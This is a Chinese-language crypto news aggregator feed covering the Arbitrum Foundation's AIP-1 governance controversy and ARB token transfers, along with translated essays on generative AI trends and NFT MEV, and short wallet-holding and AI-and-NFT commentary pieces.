自ARB空投以来，Arbitrum基金会一些举措引起了DAO研究人员和ARB代币持有者的质疑，根据Arbitrum基金会文件，42.78亿枚ARB代币将分配给 Arbitrum DAO金库，然而根据AIP-1提案显示，只有3,527,046,079枚ARB代币被转移到DAO金库。 更重要的是，AIP-1意味着当前社区治理状态和透明度的倒退，据称ArbitrumDAO将对资金库拥有直接的链上治理权，因此社区无法获悉7.5亿枚ARB代币被取出并转移到不受监督的“特别拨款”代币分配原因。根据Arbitrum基金会的文档，42.78亿枚ARB代币本应分配给Arbitrum DAO金库，但AIP-1中只有3,527,046,079枚ARB代币被转移到DAO金库，这个单独的钱包将由Arbitrum基金会控制，所以认为这次投票需要慎重考虑。据悉DAO金库地址原为0xF3FC178157fb3c87548bAA86F9d24BA38E649B58，但现在却是0xc24e24383120669512a336fb3b5b19afb4cc2a56。 事实上，Arbitrum此前已明确说明过预算钱包的用途： 1、提供特别拨款 2、补偿适用服务提供商的总设置成本 3、支付Arbitrum基金会的持续行政和运营成本 Arbitrum社区普遍认为，Offchain Labs已经先发制人地分离了Administrative Budget Wallet，因此如果没有进一步明确拨款流程、资金持有方式和监督方式，草率通过AIP-1提案势必会引发后续问题，比如： 1、指定行政预算钱包的签名者是谁？（是否只有Arbitrum基金会三位董事可以签名？） 2、为什么这7.5亿枚ARB倒闭能从金库中取出？（这7.5亿代币本应属于金库的一部分，但现在似乎处于三位董事中心化控制之下？） 3、即使有多重签名，如果恶意行为者获得访问权限，也会给Arbitrum带来巨大的安全风险。 截至目前，包括BlockworksResearch和Arbitrum生态最大治理代表TreasureDAO均已表示反对AIP-1提案，或许是迫于社区压力，Arbitrum在官推澄清基金会没有出售5000万枚ARB代币，其中4000万枚被作为贷款分配给金融市场中参与者，剩下的1000万则被兑换成法定货币并用于运营成本。与此同时，AIP-1投票也出现翻转，从最初81.7%的赞成票变成了现在82.56%的反对票。 不仅如此，Arbitrum基金会还宣布拟对7.5亿枚ARB代币的分配进行独立投票，并且还会把AIP-1提案分解为一系列单独的提案投票，柄为“生态系统发展基金”提供提供有关如何使用资金的背景信息和一份于基金会预算的“透明度报告”。 AIP-1提案将会在4月4日结束投票，Arbitrum基金会能否如愿“获取”这7.5亿枚ARB代币，让我们拭目以待。  ( 2 min )
    PA图说 | 一图掌握BNBChain上NFT一周关键数据（03.27—04.02）
    PANews APP 2.0 全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    加密支付服务商Alchemy Pay从DWF Labs获得1000万美元投资
    PANews 4月3日消息，据CoinDesk报道，加密支付服务商Alchemy Pay以 4亿美元的估值获得了做市商DWF Labs的1000万美元投资，以扩大其在韩国的业务。 该公司为加密货币公司提供了一种访问法定支付系统的方式，新资金旨在并帮助韩国当地公司实现更大的国际化。为此，它之前曾与Visa、Mastercard、Google Pay和Apple Pay等公司合作。  ( 1 min )
    生态在狂奔，治理闹丑闻？一文了解Arbitrum基金会争议操作始末
    原文：《未经治理流程出售代币？解析Arbitrum基金会争议操作始末》 作者：Loopy Lu 今日，一则关于 Arbitrum 这一明星项目的新闻引发了社区争议，且仍在持续发酵之中。 根据周日早些时候一名员工的博客文章，Arbitrum 基金会在其代币持有者治理社区“批准”该组织近10亿美元的预算之前，就开始以稳定币的形式出售 ARB 代币。 这一行为激发了社区的声讨，ARB代币价格也应声下跌至最低 1.15 美元附近，日跌幅一度逾越 10%，现反弹至 1.18 美元附近。 4月1日，Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，该组织由ARB持有者管理，位于开曼群岛的Arbitrum基金会将为ArbitrumDAO社区服务并受其管理，旨在促进Arbitrum生态系统的成长和发展，该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。 尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表称该地址是 Administrative Budget Wallet。 然而，Arbitrum DAO出师不利，第一个提案即引发了巨大争议。 按照空投之时项目方所公布的代币经济模型，总量42.78%（42.78亿枚）的代币本应分配给 Arbitrum DAO 的社区金库。而按照AIP-1，原本属于社区的7.5亿枚ARB或将被挪用给基金会，并以此建立生态基金。而按照官方的口径，这一举措的目的在于“用于支持 Arbitrum 生态增长的特别捐款计划”。 在投票指出，AIP-1的推进进程尚且顺利。但随着社区成员的批评与参与的热烈，愈来愈多的人对这一提案投下反对票。截至本文发布时，反对票数量已经高达75%。 在治理论坛上，围绕着这次提案，出现了不止一处引发社区成员不满的地方。有投资者反馈持有 ARB空投却无法参与投票；链上数据显示提案中所分配的7.5亿枚ARB未等提案通过就已被转移；7.5亿枚ARB存在安全风险等等。 而更为受到诟病的则是，链上数据显示，Arbitrum基金会转移了5000万枚ARB代币，人们纷纷怀疑基金会过早大额套现。 今日晚间，Arbitrum基金会在官方推特对此作出澄清：基金会没有出售5000万枚ARB代币。其中4000万枚被作为贷款分配给金融市场中的一个精明的参与者，剩下的1000万则被兑换成法定货币，并用于运营成本。 而关于备受关注的AIP-1，基金会使用了一个有趣的说法来作为比喻，“先有鸡还是先有蛋？” 尽管社区对AIP-1中的许多细节都做出了质疑，但这些提案内容（至少在基金会眼中）却是必不可少的。Arbitrum基金会认为，考虑到Arbitrum链的核心技术交接和可升级性，需要在DAO设立之前确定诸多参数。具体而言，包括将代码移交给DAO、创建安全委员会、设定代码升级的时间延迟、建立初始规则、建立AIP提案机制、Nova上的初始验证器、DAC等等。 因此，社区成员认为的“这些细则应由DAO进行制定”在技术上来讲是不可能的。若不进行一系列的初始设定，无法将Arbitrum链移交给Arbitrum DAO。所以，这是一个“先有鸡还是先有蛋”的问题——不由基金会进行初始运营，则无法创建DAO。 而关于已经发生的代币转移，Arbitrum则给出了官方的回复。基金会认为，AIP-1不是一项拨款“请求（request）”，而是要求社区“批准（ratification）”。 基金会认为，社区混淆了请求和批准两个概念。基金会认为，目前发生的事情，是基金会已经作出的决定，提案并不是在向社区请求一项行动，“AIP-1的目的是告知社区已经提前做出的所有决策。” 而关于这一“误会”产生的原因，基金会则将其归因于“分类不清晰”。他们认为，可能是治理文档中对代币分配分配饼图的不清晰分类，让社区对此产生了误解。在原始饼图中，DAO Treasury地址和基金会的分配被放在了同一个板块，并被描述为“DAO Treasury”。而这一部分若分为两个部分，则会呈现的更为“清晰”。 引发社区质疑，代币价格下跌 在历经多种令社区失望的操作之后，Arbitrum基金会的行为让社区对其批评不断，而ARB代币的价格也应声下跌。 OKX欧易行情显示，ARB代币现报1.18 美元，24小时内下跌9％。 有社区成员认为，AIP-1并不是一次真正的投票。在未经社区同意之时，提案内容就已被执行，这样的投票又有何意义呢？ 目前，关于这一事件的质疑已向行业中横向延伸，Blockworks Research已对这一提案投出反对票。Blockworks表示，将致力于改进DAO治理和透明度，并痛斥AIP-1意味着当前社区治理状态的倒退。Blockworks认为，高达7.5亿枚的ARB代币或由Campbell Law、Edward Noyons和Ani Banerjee三位初始董事运营的Arbitrum基金会控制。他们认为基金会的举措加剧了中心化，并从即将到来的ArbitrumDAO手中剥落了部分权力。 值得一提的是，ARB空投之时，共137个DAO 获得了ARB空投。这也是第一次针对DAO的大规模空投。我们不难想象，在未来数日，随着这一事件的持续发酵，诸多持有大量ARB的DAO组织都将被迫表态，或支持、或反对。而他们的表态，将可收获或失去社区成员的信任。 随着AIP-1投票截止日期的临近，若最终这一提案未获通过，Arbitrum基金会又将如何反应？Odaily星球日报将对这一事件持续追踪报道。  ( 2 min )
    Arbitrum管理员：26.94亿枚ARB的部分转账系使用CoinBase托管账户，以启用托管解锁服务
    PANews 4月3日消息，针对此前Offchain Labs团队与Future团队及顾问的26.94亿枚ARB转入140个EOA地址，Arbitrum DAO社区管理员eli表示部分代币系转移至CoinBase的托管账户，锁仓期为4年，旨在采用CoinBase的托管解锁服务。 此前今日早些时候消息，Lookonchain表示，此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    分析：此前分配的约27亿枚ARB本应有4年锁仓期，部分ARB已被转至交易所
    PANews 4月3日消息，据Lookonchain发推表示，26.94亿枚ARB于2日前通过0x1e70开头地址被转移分配至约140个EOA地址，该数量的ARB应该是分配给Offchain Labs团队、未来团队和顾问的部分（26.94%），但该部分代币该有4年的锁仓期。 Lookonchain补充表示，0x8d45开头地址在收到ARB后已将2256万枚ARB（约合2800万美元）转移至Coinbase。其他地址虽然还没有转账操作，但收到的ARB可以随时转入交易平台出售，不受代码限制。 此前4月1日消息，约27亿枚ARB从Arbitrum归属地址转出，此次分配或属于团队和顾问。  ( 1 min )
    生成式AI下个趋势？从信息生成到信息合成
    作者：Zeya Yang and Kristina Shen 翻译：阿法兔 过去几年大家见证了大语言模型（LLM）逐步成为主流，并研究了这项技术在B2B领域的应用情况。尽管取得了巨大的技术进步，但我们认为，我们仍处于B2B用例的生成式AI应用的早期——第一波浪潮之中。 随着各公司逐步开发自己的应用，并且开始寻求围绕产品建立护城河，我们预计很多业务中的目标和实现方法，将会迭代到“第二波浪潮“之中。 如何理解这里的“迭代”？ 到目前为止，绝大多数生成式AI应用，都集中在信息 divergence 之上。也就是说，目前的应用，主要是根据一组指令，来创造新的内容。 而在第二波生成式AI浪潮之中，相信市场会见证更多用于信息汇集的生成式AI应用，这些应用会通过综合现有信息，向我们展示更精细化、筛选出来的内容（That is, they will show us less content by synthesizing the information available.）为了和第一波生成式AI浪潮进行区分，我们把第二波生成式AI浪潮，称为合成人工智能（"SynthAI"）。 虽然第一波生成式AI浪潮在应用层创造了一些价值，但第二波生成式AI浪潮将带来下一步功能变化。 那么，下一步，生成式人工智能在B2B的解决方案会是什么走向？ 结论是：B2B解决方案之间的PK，将不会把重点放在令人眼花缭乱的AI技术能力，而更关注这些技术层面的能力，将如何帮助企业用户具备（或重新定义）更有价值的企业工作流程。 第一波生成式AI浪潮：跨越从C端用户到企业的桥梁 为了分析第一波生成式AI浪潮，首先我们要对B2C和B2B应用进行区分。当我们作为消费者，应用生成式人工智能时，我们的目标是以玩耍、娱乐和分享为导向。在娱乐层面，质量和正确性并不是最重要的：而让人工智能模型生成艺术或音乐这类功能更为重要，因为我们可以在Discord频道中分享，当然也会很快就会忘记它。大家通常会有一种心理倾向，认为更多的内容=生产能力=好，所以，用户通常会被吸引到生成式的、自动创造的AI工具。 举个例子：ChatGPT的兴起，就是很具备说服力的案例：因为用户真的容忍了这个聊天机器人很多质量上的缺陷，就是因为大家能用它，生成更丰富的内容，并且分享，令人印象深刻。 当涉及到B2B应用时，业务目标就不同了。这里的目标，主要是围绕时间和质量的成本效益评估。我们要么希望能够用同样的时间产生更高的质量，要么希望产生同样的质量，但是速度更快。 人们使用B2B应用主要是在工作场所，在这类的场景中，质量更重要。然而，今天人工智能生成的内容，主要是为重复性和低风险的工作提供的，这种业务层面上，要求通常不高。例如，生成式AI很可以为广告或产品描述撰写文案，许多这个领域的B2B应用，表现出明显的增长态势。 但我们随后也发现，生成式人工智能在撰写意见或论据方面确实不可靠（即使AI生成的内容令人信服或有信心，它也往往无法达到我们想要的准确程度）注意，当涉及到B2B生产环境中的创新和合作时，这一点更重要，大模型生成SEO信息也许是可用的。但是，如果让它为开发者撰写一篇详细新产品的博客文章，将会需要不小的人力去完善，以确保这篇文章是准确的，与目标受众产生共鸣。 另一个常见例子是AI用于编写销售的电子邮件，生成式AI对于普通的、冷冰冰的冷启动邮件是很有用的，但对于准确的个性化邮件来说就不太可靠了。从一个优秀销售的角度来看，生成式AI有助于在更短的时间内写出更多的电子邮件，但要写出能提高回复率，并带来订单的电子邮件（这也是对销售代表的评价），销售代表还是需要仔细研究，并通过自己判断，了解潜在客户想听什么。 从本质上讲，在头脑风暴和早期，第一波生成式人工智能对于更实质性的写作是成功的，但最终，越是需要创造力和领域内人专业知识，就越需要人为完善。 即使在生成式AI对较长的博客文章有用的情况下，你的Prompt必须是精确的。也就是说作者必须已经对代表自己博客文章的实质概念，具备清晰认识。然后，为了得到良好的结果，作者必须对AI输出的结果进行审查，迭代Prompt，不行的话，还要重写整个章节。 这里有个例子是用ChatGPT来生成法律文件，需要熟悉法律prompt的人提供所有需要的条款，然后ChatGPT可以用这些条款来生成草案。注意，AI不能执行当事方之间的谈判过程，但一旦所有关键条款都确定下来，生成式AI就可以出品较长的法律类文件草稿。不过，这些工作仍需要职业律师对它进行审查，编辑输出，以使这项文件达到可以签署的出品样本。 这也是为什么这类成本+效益评估模式，会在B2B背景下打破。 知识工作者正在评估如何工作流程中增加一个额外的AI功能的步骤是否值得花时间？是否应该还是由我们自己做？ 当我们进入第二波生成式AI浪潮的时候，焦点会从信息生成转向信息综合。注意，在知识工作中，决策能力具备巨大价值，而员工的报酬是根据不完善信息做出决定，而不一定是单纯执行或解释这些决定而产生的内容数量而决定的。在许多情况下，更长的时间并不意味着更好。 许多常识和公理都支持下列观点： 1.代码行数不是衡量工程生产力的好方法 2.更长的产品内容，不一定就能起到更清楚的说明作用 3.更长幻灯片，也不一定能提供更多见解 Hex公司创始人Barry McCardel认为，人机可以共生，比如说LLM如何能够改善我们的工作方式？ "AI在这里是为了增强和改善人类的能力，而不是取代人类。 因为当涉及到理解世界和做出决策时，人类一定要参与其中。人工智能能做的是帮助人类将更多的脑电波，应用于有价值的、创造性的工作，这样我们不仅能在一天中花更多的时间来做重要的工作，而且还能解放自己，从事最有价值的工作。" 那么，AI如何改善人类的决策？法律专家需要专注于综合和分析，提高决策的质量和/或速度（上面的B2B图），明显的应用是，去总结人类自己永远无法直接消化的大量信息。 SynthAI在未来的真正价值是，帮助人类更快地做出更好的决定。 这里的设想几乎与ChatGPT的用户界面相反：与其根据简明的Prompt写出长篇大论的回复，如果我们能从海量数据中，逆向设计出总结的简明提示，会怎么样？（Instead of writing long-form responses based on a concise prompt, what if we could reverse engineer from massive amounts of data the concise prompt that summarizes it? ） 这将有机会，让我们重新思考用户体验，使其尽可能有效地传达大量的信息。例如，像Mem这样由AI技术驱动的知识库，保存着某个组织中的所有会议笔记，可以主动对相关的决策、项目或人发起建议，当组织中的角色开始一个新项目时，应该参考这些决策、项目或人，从而节省了他们浏览先前机构沉淀知识的数个小时（甚至几天）的时间。 回到上面一个对外发送营销邮件的例子，一个潜在的表现是，AI可以识别目标客户，究竟在何时会处于最高水平的购买意图（基于新闻报道、人才迁移等），并提醒相关销售代表。然后，人工智能模型将根据综合研究，建议在电子邮件中提一两个最重要的问题，以及与想要销售的目标客户最相关的产品功能。 这些输入，可以被输入到第一波生成式AI带来的解决方案中，但其价值来自于综合阶段，并为销售人员，节约了对单一潜在客户的研究时间。 确保这种综合信息质量足够高的根本转变是，从大规模的通用模型转向能够应用多种模型的架构，包括在特定领域和特定用途的数据集上训练的更精细模型。例如，某个构建客户支持应用的公司，会使用以支持为中心的模型，该模型可以访问公司的历史支持票据，但在其他情况下又会回到GPT。在建设专有微调模型和数据集壁垒，这些组件会成为公司速度和质量的护城河。 当我们思考，第二波生成式AI浪潮可能是什么样的时候，我们相信从SynthAI中，受益最大的应用场景将是以下两种情况： 1.存在大量信息的场景，人类很难手动筛选所有的信息。 2.高信噪比场景，主题或抽象出来的观点必须具备准确性 人工智能对工作流的改造，会带我们走向一个新的生产力时代。  ( 2 min )
    数据：近10天约4780万枚ARB被转至Wintermute Trading相关地址
    PANews 4月3日消息，据Lookonchain监测，链上标记为“Arbitrum基金会: Deployer”的地址于北京时间3月17日03:36将7500万枚ARB转至0xc24e开头的地址；随后，0xc24e开头的地址于北京时间3月22日06:13将4000万枚ARB转至0xcce3开头的地址，而0xcce3开头的地址曾与做市商Wintermute Trading地址发售过互动，因此Lookonchain认为0xcce3开头的地址或与Wintermute Trading有关。除此笔交易外，链上标记为“Wintermute Trading”的地址曾在近十天内从“0xba01”开头的地址收到780万枚ARB。 此外，据推特网友Cringe.eth的推文，在上述“Arbitrum基金会: Deployer”地址将7500万枚ARB转至0xc24e开头的地址后，0xc24e开头地址于北京时间3月24日08:40向币安热钱包转移了约500万枚ARB。  ( 1 min )
    探索NFT原生的解决方案：NFT MEV的基础设施和机会
    作者：Alana Levin,Variant 编译：深潮 TechFlow NFT 市场结构与 FT 市场结构大不相同。在 NFT 市场中，资本形成事件（铸造）更为频繁，二级交易量较低，出价流动性方面存在挑战，并且存在许多链下订单簿。 由于这些差异，NFT MEV 也不同。特别是，套利机会较少，而在铸造过程中提取的 MEV 更多。我们还确定了几种 NFT 市场独特的 MEV 形式：将地板价扫描并重新列入竞价墙（人为地创建套利高交易量），特征狙击，以及从非活跃列表中提取。 将 DeFi 市场视为更成熟的市场，并将其用作 NFT 可能前进的代理。这有助于阐明今天存在的差距和可解决这些挑战的基础设施领域。这些机会包括 MEV 感知的铸币解决方案、更开放的定价数据、动态的链上订单簿、尝试新的拍卖样式以及为交易者提供额外的沟通渠道。 目前，围绕 NFT 的价值流通通常发生在初始铸造时，在二级市场上交易或借出时。这两种价值流通都可能存在 MEV，即在链上交易时从用户中提取的经济效率低下的成本。如何处理这些 MEV 可能会影响市场活动的商业模式和受益者——从交易者到市场、钱包和创作者。 然而，在 NFT 领域中，MEV 似乎是一个鲜为人知的话题。我认为，这是因为 NFT 市场的结构与 DeFi 大不相同。重要的是，这些基本差异——包括更多的一级活动、较小的代币供应量以及较少的二级流动性——影响了价值的流动。 本文将试图阐述 NFT 市场中的一些新兴 MEV 机会，不断变化的市场动态如何影响这些机会以及可以考虑这些因素建立的基础设施。 了解 NFT 市场当前的结构是识别 MEV 如何在市场中表现的有用基础。该过程始于用户铸造 NFT，我将其称为资本形成事件，类比于同质化代币的空投或发布（通过在链上创建新资产）。然而，同质化和非同质化市场之间的差异至少有三个方面： 当用户决定不再拥有他们的 NFT 时，他们可以在市场（如 OpenSea、Blur、Reservoir 支持的许多市场）中出售。这些订单通常会被列入链下订单簿，在那里等待直到订单被履行或取消。对于这些链下订单簿，实际的链上活动有几个触点：第一次列出订单（即设置列出批准），取消订单和履行订单。更改列表价格需要卖方签名，但不需要额外的 Gas 费用。还有一些直接在链上运行的订单簿，例如 Zora 和 Sudoswap。 除了一级市场和二级交易之外，值得注意的是，还有一个新兴的 NFT 实用性市场。链上实用性可能涉及质押 NFT 以获取奖励、委派参与即将到来的空投、在使用其作为游戏资产时销毁（摧毁）NFT 等等。但是要将“新兴”放在适当的背景下：2 月，一级和二级市场交易量接近 20 亿美元，而 NFT 借贷市场的借款量只有几亿美元。除借贷之外的其他实用性市场更加不成熟。因此，铸造和交易将继续是本文的重点。 我将 MEV 定义为市场内的任何形式的低效率，导致交易发起者（用户、钱包、应用程序）向堆栈下方（搜索器、区块构建者、验证器）泄漏价值。这是一个宽泛的定义，但在考虑不同的价值捕获和/或价值再分配机会时，宽泛是有帮助的。常见的 MEV 形式包括套利、三明治攻击、清算。 套利和夹击通常需要高交易量和深度流动性，因为价差往往很小，套利者希望快速进出其头寸。NFT 市场通常没有这些条件。此外，市场上存在流动性挑战：通常情况下，每个列表的另一侧都没有准备好的买家。这意味着即使有人发现了套利机会，退出（即重新列出并销售）也可能有风险。 一些 NFT 原生的套利形式，以及与之相关的风险，如下所示： 扫描并重新列出地板价以获取更高的价格。许多交易员声称可以赚取利润，利用可能位于地板价之上的投标墙。在这种情况下，交易员几乎是人为创造套利所需的高交易量。这种类型的套利所涉及的主要风险包括高资本成本和库存要求。 找到尚未被视为相似需求的巧合。例如，某人以 1 ETH 的价格列出了他们的 CryptoPunk 红色/蓝色眼镜，而其他人则为任何带有红色/蓝色眼镜的 CryptoPunk 出价 2 ETH。搜索器可以介入，调用 Seaport 的 MATCH 功能来满足这两个订单，并将差额作为小费（奖励）获得。这对我来说是一种低风险的套利机会，虽然不太频繁。在这里，未执行是搜索者面临的主要风险。 Trait sniping 是 NFT“非同质化”组件中独特的一种套利形式。如果某人看到一个带有特定特征的 NFT 正在以 X 的价格交易，但知道其他具有相同特征的 NFT 交易价格为 X+Y，则可以购买并重新列出更高价值。如果搜索者支付大量 gas 以确保他们的投标被优先处理，就会实现 MEV。在这种情况下，搜索者面临退出风险：可能没有一个等待在其列表的另一侧的投标。因此，搜索者必须承担在未知期间内持有库存的风险，并接受特征价格长期波动的风险。 目前，在 NFT 市场中似乎没有太多的三明治攻击。这部分原因是，大多数 NFT 在可用供应量变化时不会动态重新定价。 在同质化市场上，大订单会影响市场。对于 NFT 来说，购买 10%的地板价 NFT 并不会直接改变其他地板价 NFT 的定价。 NFT 通常是单独定价的，而不是聚合定价。值得注意的是，一些动态定价基础设施（如 NFT 自动化市场制造商“Uniswap for NFTs” Sudoswap）正在出现。Sudoswap 通过确保至少存在一些针对池化 NFT 的投标来解决 NFT 的流动性问题。权衡之处是，动态的、自动化的定价也扩展了三明治攻击的面积。 在借贷市场中存在另一种常见的 MEV 形式，称为“清算 MEV”-搜索者通过第一个发现并获取清算费而获利。越来越多的借贷交易正在链上构建（例如，在 Seaport 这样的协议上直接居住清算引擎），具有不断下降的价格拍卖机制，当价格越过储备抵押品价格时，就会触发清算。我想会有一群搜索者专门致力于操纵地板价/某些 NFT 抵押品价格，以便他们可以预先或控制 NFT 何时被清算。 可能包括： 在铸造过程中拥堵。热门的铸币可以导致用户支付数百万美元的 Gas 费用：这是 NFT 项目创造的价值，但最终被验证器提取。 在铸造过程中使用机器人。搜索者可以在 mempool 中发现第一个铸币交易，检查将要铸造的代币供应量，并预先竞标部分或全部剩余的铸币。 意外留下未交易的订单（通常称为非活跃列表）。因为取消订单会产生费用，有时用户会简单地将 NFT 转移到新钱包以结束订单。棘手的是，这在技术上保留了原始的订单——如果该人将 NFT 重新转移回原始钱包，则该订单将重新出现。到那时，地板价可能已经上涨到原始挂单以上，明智的第三方可以抢占低估价值的 NFT。MEV 是由于搜索者可能通过高 gas 费贿赂验证器，以确保其对该列表的投标得到优先考虑而产生的。 与 NFT 租赁相关的套利。我们看到趋势是将 NFT 权利/实用性从资产本身中解除束缚。换句话说，NFTs 的 AirBnb 正在出现：拥有资产（房子），但让其他人支付费用以临时使用/享受业主通常享有的利益。这种流动的委托对于与空投相关的套利尤其有用——购买大量 NFT 的权利（而不是尝试购买 NFT 本身）以期待空投需要更少的资本，限制地板价急剧上涨，并提供机会来获取空投供应的重要部分。如果我们开始看到对空投的更高资格要求（正如我们已经在同质化市场中看到的那样），那么持有这些 NFT 的人可能具有关于其NFT可索赔空投的可能规模的非对称信息。 最后，可能还有更多形式的 NFT MEV 我没有提到，包括假冒、与烧毁和赎回功能相关的低效性以及预先竞标铸造（只是其中之一）。这个列表意在具有创意和启发性，希望可以激发关于减少或抓住 NFT MEV 机会相关的想法/项目。 基础设施的机会 基于市场的当前状况以及 MEV 特别存在的领域，以下可能提供有趣的机会来构建 NFT 原生基础设施。 展望未来，我坚信我们将看到更多围绕 NFT 的发展。目前的情况是，大多数 NFT 都是异质的，因此很难作为替代品。共享特征或地板价代币更接近于替代品，但消费者偏好仍可能有所不同。 相比之下，NFT 作为高尔夫球赛事的场地通行证——在这种情况下，异质性可能存在，因为某些特征（如日期）会造成偏好上的差异，但总体而言，它们作为近似替代品，因为消费者会在给定日子内区分门票（假设所有门票都提供同等进入活动的权利）。 随着光谱的发展，NFT开始代表从链上艺术到门票、联盟链接、IP许可证、产权证书等各种物品，我想我们会看到更多的MEV出现。 总的来说，感觉我们仍处于 NFT 的早期阶段。 我喜欢思考 NFTs，因为我认为它们是将外生资本引入加密生态系统的一种绝佳方式，并且我认为设计空间是完全开放的。但在任何市场的早期阶段，总会存在一些低效率。 我希望探索 MEV 如何在整个市场中存在——以及这种探索为构建更愉悦的用户体验提供了哪些机会——将有助于铺平更大范围的采用道路。  ( 3 min )

  • Open

    【英文长推】3 个 Arbitrum 巨鲸钱包持仓分析：聪明钱看好哪些投资机会？
    Chainfeeds 导读： 加密 KOL The DeFi Investor 通过链上数据分析了的 3 个通过 Arbitrum 获得大量收益的钱包动态，并盘点了上述 3 个钱包的其他项目持仓情况。 文章来源： https://twitter.com/TheDeFinvestor/status/1642186195311689730 文章作者： The DeFi Investor 观点： The DeFi Investor：0xeb 开头的地址在 1 月份以 0.3 美元的平均价格买入大量的 PLS。PLS 在 3 月份达到 1.31 美元的 ATH，当前价格为 0.96 美元。有趣的是，该地址仅卖出了少量 PLS，且仍在持续买入 PLS。PLS 是该钱包的最大持仓，其持有的其他代币还包括：MAGIC、ARB 和 RDNT。【原文为英文】 内容来源 The DeFi Investor：0xd1 开头的地址是推特用户 @Defi_Maestro 的公开钱包，他在几个月内将他的投资组合翻了 6 倍。他在 RDNT 和 JOE 暴涨前成功买入，他的投资组合包括 JOE、FLEX、USDC 和 KWENTA。【原文为英文】 内容来源 The DeFi Investor：0x75 开头的地址拥有 200 万美元的投资组合，且大部分资金都在 Arbitrum 上。该地址在 2 月初买入了大量 GRAIL，当时 GRAIL 的价格为 1500 美元，在 3 月达到了 4300 美元的 ATH。目前，该地址 GRAIL 的持仓占比超过 50%，此外，该地址还持有大量 WINR 和 JONES。【原文为英文】 内容来源  ( 2 min )
    【英文长推】3 个 Arbitrum 巨鲸钱包持仓分析：聪明钱看好哪些投资机会？
    Chainfeeds 导读： 加密 KOL The DeFi Investor 通过链上数据分析了的 3 个通过 Arbitrum 获得大量收益的钱包动态，并盘点了上述 3 个钱包的其他项目持仓情况。 文章来源： https://twitter.com/TheDeFinvestor/status/1642186195311689730 文章作者： The DeFi Investor 观点： The DeFi Investor：0xeb 开头的地址在 1 月份以 0.3 美元的平均价格买入大量的 PLS。PLS 在 3 月份达到 1.31 美元的 ATH，当前价格为 0.96 美元。有趣的是，该地址仅卖出了少量 PLS，且仍在持续买入 PLS。PLS 是该钱包的最大持仓，其持有的其他代币还包括：MAGIC、ARB 和 RDNT。【原文为英文】 内容来源 The DeFi Investor：0xd1 开头的地址是推特用户 @Defi_Maestro 的公开钱包，他在几个月内将他的投资组合翻了 6 倍。他在 RDNT 和 JOE 暴涨前成功买入，他的投资组合包括 JOE、FLEX、USDC 和 KWENTA。【原文为英文】 内容来源 The DeFi Investor：0x75 开头的地址拥有 200 万美元的投资组合，且大部分资金都在 Arbitrum 上。该地址在 2 月初买入了大量 GRAIL，当时 GRAIL 的价格为 1500 美元，在 3 月达到了 4300 美元的 ATH。目前，该地址 GRAIL 的持仓占比超过 50%，此外，该地址还持有大量 WINR 和 JONES。【原文为英文】 内容来源  ( 2 min )
    Weirdo Ghost Gang 创始人谈 AI 爆发对创作者和 NFT 的影响
    Chainfeeds 导读： NFT KOL Punk 6529 近日发布长推，探讨 AI 对 NFT 的影响，他认为 NFT 的价值在于所有权和产生的共识，尽管 AI 丰富了 NFT 的内容，但不会影响 NFT 的价值。Weirdo Ghost Gang 从 Punk 6529 的观点出发，延伸了类似的观点。 文章来源： https://sleepy0x13.substack.com/p/ainft 文章作者： Sleepy 观点： Sleepy：NFT 溯源将有更重要的意义。随着 AI 生成内容的不断发展，NFT 溯源将变得越来越重要，因为它可以帮助人们分辨出数字内容的出处和所有权，保护数字内容的版权和知识产权。 内容来源 Sleepy：AI 生成内容的爆发，会使原作者创作的内容更有价值。由于 AI 生成的内容通常是基于已有数据的推断和预测，这就使得原作者的创作更具有独特性和价值，因为它们是基于原创思路和经验的产物，而不是机器的简单模拟。 内容来源 Sleepy：对于创作者而言，在一个无限「内容」的世界中，本身的知名度会变得更加重要。随着 AI 技术的不断进步，越来越多的人可以使用 AI 学习和生成自己的作品风格。这也就意味着，如果一个创作者拥有越高的知名度，越多的人就会通过 AI 学习和生成他的作品风格，从而进一步扩大了他的影响力和价值。 内容来源 Sleepy：商业内容创作可以被 AI 取代，而艺术创作不能。商业内容可以通过 AI 技术来自动生成，节省人力物力成本，提高效率和质量。但艺术创作是一种表达的过程，AI 不能代替艺术家本身的创造力和表达能力。 内容来源  ( 4 min )
    Weirdo Ghost Gang 创始人谈 AI 爆发对创作者和 NFT 的影响
    Chainfeeds 导读： NFT KOL Punk 6529 近日发布长推，探讨 AI 对 NFT 的影响，他认为 NFT 的价值在于所有权和产生的共识，尽管 AI 丰富了 NFT 的内容，但不会影响 NFT 的价值。Weirdo Ghost Gang 从 Punk 6529 的观点出发，延伸了类似的观点。 文章来源： https://sleepy0x13.substack.com/p/ainft 文章作者： Sleepy 观点： Sleepy：NFT 溯源将有更重要的意义。随着 AI 生成内容的不断发展，NFT 溯源将变得越来越重要，因为它可以帮助人们分辨出数字内容的出处和所有权，保护数字内容的版权和知识产权。 内容来源 Sleepy：AI 生成内容的爆发，会使原作者创作的内容更有价值。由于 AI 生成的内容通常是基于已有数据的推断和预测，这就使得原作者的创作更具有独特性和价值，因为它们是基于原创思路和经验的产物，而不是机器的简单模拟。 内容来源 Sleepy：对于创作者而言，在一个无限「内容」的世界中，本身的知名度会变得更加重要。随着 AI 技术的不断进步，越来越多的人可以使用 AI 学习和生成自己的作品风格。这也就意味着，如果一个创作者拥有越高的知名度，越多的人就会通过 AI 学习和生成他的作品风格，从而进一步扩大了他的影响力和价值。 内容来源 Sleepy：商业内容创作可以被 AI 取代，而艺术创作不能。商业内容可以通过 AI 技术来自动生成，节省人力物力成本，提高效率和质量。但艺术创作是一种表达的过程，AI 不能代替艺术家本身的创造力和表达能力。 内容来源  ( 4 min )
    【英文长推】新项目前瞻｜zkSafe：基于 Safe 和 zkConnect 的账户抽象方案
